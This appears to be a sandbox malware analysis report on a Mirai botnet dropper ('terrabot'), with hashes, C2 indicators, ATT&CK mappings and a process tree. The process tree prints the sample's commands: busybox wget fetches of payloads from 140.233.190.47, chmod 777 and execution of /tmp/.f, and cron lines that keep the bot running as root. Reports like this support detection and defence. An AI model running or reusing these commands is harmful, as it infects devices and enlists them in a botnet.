mirai | 059dc71f33a19774e03dc47e61c5383dd650f4967db0b13b47ac76b9a5208f4f

Analysis

max time kernel
69s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
04/06/2026, 02:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dlink
Size 463B
Sample260604-ch22dagx6w
SHA256 059dc71f33a19774e03dc47e61c5383dd650f4967db0b13b47ac76b9a5208f4f
MD5 88de3e25e677d14a37eb4b09e8d503e3
SHA1 264c2eda838deaaea376a5128be6d63722c12c9b
SHA512 db3e8f6d1c3523b7ad32778974fa95eed1ec04a8f39c1fec7b286223343c67a98bacdbf5fdc6670cfc707556009c6f248c3fda4e0d88544ef4ff8d76447bbda1
TLSH
T113F022920B91002B0F7508C4F0FDC710610523B65B24822C7D4A892077C02D7F77386A
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery execution mirai persistence privilege_escalation

Malware Config

Extracted

Family

mirai

terrabot.qzz.io

Extracted

Family

mirai

terrabot.qzz.io

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (159719) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
743	chmod
779	chmod
792	chmod
806	chmod
812	chmod
803	chmod
809	chmod
815	chmod
821	chmod
818	chmod
728	chmod
775	chmod
800	chmod
750	chmod
796	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/.f	730	dlink
/tmp/.f	744	dlink
/tmp/.f	751	dlink
/tmp/.f	777	dlink
/tmp/.f	783	dlink
/tmp/.f	793	dlink
/tmp/.f	797	dlink
/tmp/.f	801	dlink
/tmp/.f	804	dlink
/tmp/.f	807	dlink
/tmp/.f	810	dlink
/tmp/.f	813	dlink
/tmp/.f	816	dlink
/tmp/.f	819	dlink
/tmp/.f	822	dlink

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	.f
File opened for modification	/dev/misc/watchdog	.f

Creates/modifies Cron job 1 TTPs 6 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/terrabot	sh
File opened for modification	/var/spool/cron/crontabs/tmp.MIMtri	crontab
File opened for modification	/etc/crontab	sh
File opened for modification	/etc/cron.d/terrabot	sh
File opened for modification	/var/spool/cron/crontabs/tmp.VwDha7	crontab
File opened for modification	/etc/crontab	sh

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	.f
File opened for modification	/bin/watchdog	.f

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/13/status	.f
File opened for reading	/proc/19/status	.f
File opened for reading	/proc/21/status	.f
File opened for reading	/proc/77/status	.f
File opened for reading	/proc/160/status	.f
File opened for reading	/proc/176/status	.f
File opened for reading	/proc/5/status	.f
File opened for reading	/proc/79/status	.f
File opened for reading	/proc/115/status	.f
File opened for reading	/proc/679/status	.f
File opened for reading	/proc/742/status	.f
File opened for reading	/proc/754/status	.f
File opened for reading	/proc/16/status	.f
File opened for reading	/proc/37/status	.f
File opened for reading	/proc/69/status	.f
File opened for reading	/proc/380/status	.f
File opened for reading	/proc/668/status	.f
File opened for reading	/proc/710/status	.f
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/2/status	.f
File opened for reading	/proc/14/status	.f
File opened for reading	/proc/20/status	.f
File opened for reading	/proc/82/status	.f
File opened for reading	/proc/418/status	.f
File opened for reading	/proc/703/status	.f
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/22/status	.f
File opened for reading	/proc/125/status	.f
File opened for reading	/proc/235/status	.f
File opened for reading	/proc/325/status	.f
File opened for reading	/proc/329/status	.f
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/76/status	.f
File opened for reading	/proc/382/status	.f
File opened for reading	/proc/709/status	.f
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/4/status	.f
File opened for reading	/proc/8/status	.f
File opened for reading	/proc/71/status	.f
File opened for reading	/proc/678/status	.f
File opened for reading	/proc/707/status	.f
File opened for reading	/proc/755/status	.f
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/24/status	.f
File opened for reading	/proc/11/status	.f
File opened for reading	/proc/18/status	.f
File opened for reading	/proc/390/status	.f
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/3/status	.f
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/9/status	.f
File opened for reading	/proc/73/status	.f
File opened for reading	/proc/324/status	.f
File opened for reading	/proc/753/status	.f
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	crontab

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
825	rm
747	busybox

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.f	dlink

/tmp/dlink
/tmp/dlink
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:712
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  PID:714
- /bin/busybox
  busybox wget http://140.233.190.47/terrabot/023782pler.x86 -O -
  2⤵
  PID:717
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/.f
  ./.f dlink
  2⤵
  PID:730
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:734
- /bin/busybox
  busybox wget http://140.233.190.47/terrabot/023782pler.x86_64 -O -
  2⤵
  PID:737
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/.f
  ./.f dlink
  2⤵
  PID:744
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:746
- /bin/busybox
  busybox wget http://140.233.190.47/terrabot/023782pler.mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/.f
  ./.f dlink
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:751
- - /bin/sh
    sh -c "echo '* * * * * root if ! pidof -s /tmp/.f >/dev/null 2>/dev/null; then /tmp/.f 140.233.190.47; fi' > /etc/cron.d/terrabot 2>/dev/null; chmod 644 /etc/cron.d/terrabot 2>/dev/null"
    3⤵
    - Creates/modifies Cron job
    PID:755
  - - /bin/chmod
      chmod 644 /etc/cron.d/terrabot
      4⤵
      PID:756
- - /bin/sh
    sh -c "crontab -r 2>/dev/null; (crontab -l 2>/dev/null; echo '* * * * * if ! pidof -s /tmp/.f >/dev/null 2>/dev/null; then /tmp/.f 140.233.190.47; fi') | crontab - 2>/dev/null"
    3⤵
    PID:757
  - - /usr/bin/crontab
      crontab -r
      4⤵
      Reads runtime system information
      PID:758
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:760
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:761
- - /bin/sh
    sh -c "echo '* * * * * root if ! pidof -s /tmp/.f >/dev/null 2>/dev/null; then /tmp/.f 140.233.190.47; fi' >> /etc/crontab 2>/dev/null"
    3⤵
    - Creates/modifies Cron job
    PID:762
- - /bin/sh
    sh -c "echo '* * * * * root if ! pidof -s /tmp/.f >/dev/null 2>/dev/null; then /tmp/.f 140.233.190.47; fi' > /etc/cron.d/terrabot 2>/dev/null; chmod 644 /etc/cron.d/terrabot 2>/dev/null"
    3⤵
    - Creates/modifies Cron job
    PID:772
  - - /bin/chmod
      chmod 644 /etc/cron.d/terrabot
      4⤵
      PID:773
- - /bin/sh
    sh -c "crontab -r 2>/dev/null; (crontab -l 2>/dev/null; echo '* * * * * if ! pidof -s /tmp/.f >/dev/null 2>/dev/null; then /tmp/.f 140.233.190.47; fi') | crontab - 2>/dev/null"
    3⤵
    PID:774
  - - /usr/bin/crontab
      crontab -r
      4⤵
      Reads runtime system information
      PID:776
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:781
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:782
- - /bin/sh
    sh -c "echo '* * * * * root if ! pidof -s /tmp/.f >/dev/null 2>/dev/null; then /tmp/.f 140.233.190.47; fi' >> /etc/crontab 2>/dev/null"
    3⤵
    - Creates/modifies Cron job
    PID:785
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:771
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/.f
  ./.f dlink
  2⤵
  PID:777
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:778
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/.f
  ./.f dlink
  2⤵
  PID:783
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:784
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/.f
  ./.f dlink
  2⤵
  PID:793
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:794
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/.f
  ./.f dlink
  2⤵
  PID:797
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:798
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/.f
  ./.f dlink
  2⤵
  PID:801
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:802
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/.f
  ./.f dlink
  2⤵
  PID:804
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:805
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/.f
  ./.f dlink
  2⤵
  PID:807
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  PID:808
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/.f
  ./.f dlink
  2⤵
  PID:810
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:811
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/.f
  ./.f dlink
  2⤵
  PID:813
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:814
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/.f
  ./.f dlink
  2⤵
  PID:816
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  - Reads runtime system information
  PID:817
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/.f
  ./.f dlink
  2⤵
  PID:819
- /bin/cp
  cp /system/bin/sh .pler
  2⤵
  PID:820
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/.f
  ./.f dlink
  2⤵
  PID:822
- /bin/rm
  rm 023782pler.x86
  2⤵
  PID:823
- /bin/rm
  rm 023782pler.x86_64
  2⤵
  PID:824
- /bin/rm
  rm 023782pler.mips
  2⤵
  - System Network Configuration Discovery
  PID:825
- /bin/rm
  rm 023782pler.arc
  2⤵
  PID:826
- /bin/rm
  rm 023782pler.i468
  2⤵
  PID:827
- /bin/rm
  rm 023782pler.i686
  2⤵
  PID:828
- /bin/rm
  rm 023782pler.mpsl
  2⤵
  PID:829
- /bin/rm
  rm 023782pler.arm
  2⤵
  PID:830
- /bin/rm
  rm 023782pler.arm5
  2⤵
  PID:831
- /bin/rm
  rm 023782pler.arm6
  2⤵
  PID:832
- /bin/rm
  rm 023782pler.arm7
  2⤵
  PID:833
- /bin/rm
  rm 023782pler.ppc
  2⤵
  PID:834
- /bin/rm
  rm 023782pler.spc
  2⤵
  PID:835
- /bin/rm
  rm 23782pler.m68k
  2⤵
  PID:836
- /bin/rm
  rm 023782pler.sh4
  2⤵
  PID:837

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

terrabot

Path /etc/cron.d/terrabot
Size 93B
SHA256 475a01d622c59d6b2eb86d1810ddc6381794b4e603a95dff1fd990074633672d
MD5 d8fb14315e85f034af70135938d2a208
SHA1 015659c095ddc599126cd2b840b19bc0f70da067
SHA512 3a2480729d7fe7e41027e1c232c168d5311780370192f244f67329062f5739bddfa8f8a58c9b0247df83f00908c261b5db907c84208b05200d9b00a1defd6943
TLSH
T15FB012B0BC1440103129C47A7218008C0493C52A105834545C0D6C31650D2EAB960374
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/.f
Size 117KB
SHA256 68f47c0b2014b9ceb4d4b7d8133b822bff244f178b8ad4028d977b8f6e21f562
MD5 826bbf67ad65458307a4d5d126df9488
SHA1 2316de0dd0ae116976d9b0c94a6c56bccf4665cc
SHA512 011e365e49356846274283236f58e4a67ee988b3f69f6f324164e4baf804875b237524df548af5fa95b3364262a920c121a9a98f0f0870b52b5bcb4cade9aea5
SSDEEP 3072:BKIeKCGNl3BuzAiS4xGJZdP6VZktf2+KZRkCXlW:BKO38bxGrdP6V0BUl
TLSH
T127C36AC1F783D0F5ED150AB530B7BB368972D53E112BDA82D7B8AC31A9119C1982B76C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.f
Size 126KB
SHA256 82a66b9d08da7e794c239e1e589d01c798b47a1691d0f53fc12fa5e9bed7cbf6
MD5 56dc04137e597db3853ce1cd839f7b84
SHA1 d979d22abc1e78018976819eb7dd2db6b292bf1e
SHA512 440b061ea230f973727810f3688278334e2a72afa43474fe216f4fa52c9d08feaf3df27eb2557c3b9a4b4a15c633929b43f336e91f2cc55fec54fa91664fcfe5
SSDEEP 1536:EKhMoU35nVqA3sUkO47InzMGUCTueLdWAdOrUIW7W3hpN5mQ5NZqDXDMNHxAd:9hCpn3sUoInfUCTue8yOk7MhpN1wDax
TLSH
T13DC34B43B68044FDC449C17453BF7A32D826F86E023A7297A7C4FD263D4DEA1262EB95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.f
Size 164KB
SHA256 d20a9dfecb10dfd87ca629fa0ef5c481606ed0e4d6af2c5fcb0fd67b56bc56fc
MD5 4b2b12bcb4f6567fdd51c014a20d39f9
SHA1 1f01525aa408182006bf53fafec2fa776ce1f265
SHA512 64d024301b66e0e0519862efed96858ed283b5740de4f341c4b9131334423821202fefde6b871ff72f63adfe12810a8b02091d4db5e4691d2b1349c02cbf34b3
SSDEEP 3072:edmCCBNHvOb7w0FKXwpxjgUzKUPD9JjLxOPxalmL85qGyjfAbmdhz:eE9i75FKXwXjgUz/PnjcQlmLijzydp
TLSH
T1EEF3E91E7E215F7CFBE8823457B39E60A34823D72AE1D585D16CD6105E6028E386FFA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.MIMtri

Path /var/spool/cron/crontabs/tmp.MIMtri
Size 263B
SHA256 9e1d99079c3a0691eed8d44dfcf52e353492cbf85b82b90981a009d6ac1d8baf
MD5 691b0709ce49cb5471c169bcb73d417b
SHA1 b10ca0b9ee8481ca3eab7dd7daf6302d3126d6a4
SHA512 45574c31969d78072bd29c22f8fe4c76901bee02e9dd1ce468530312c6485d52ec4932af353eb6fb09b6bde4ce0a2b85ab91e186138e5a17162f0c9ed2e38a73
TLSH
T114D02B34BE1054307A194659725E014D1892E53D500D7D51F15D1830530F2EDBBA0B71
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.VwDha7

Path /var/spool/cron/crontabs/tmp.VwDha7
Size 263B
SHA256 5503dc4630c5e277748d4102a9ffef9365edfb1cebfe372da70cc6ec2cdcdbc9
MD5 b23c893713ec619b17b4dbb82fd247f8
SHA1 3027931f3b6bd2142636ce50829e242fe02aa44b
SHA512 2c905616a28e08845e69e4695c9418c5d4387c7cdd0616682961f9b689bed48835101107a53b28e09ba7dd128df2156b04134da9b16b449e7d6bc2b79f8570c2
TLSH
T181D02B347E2054307A194659725E014D1982E53E500D7D41F15D1830520F2EDBBA0B71
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads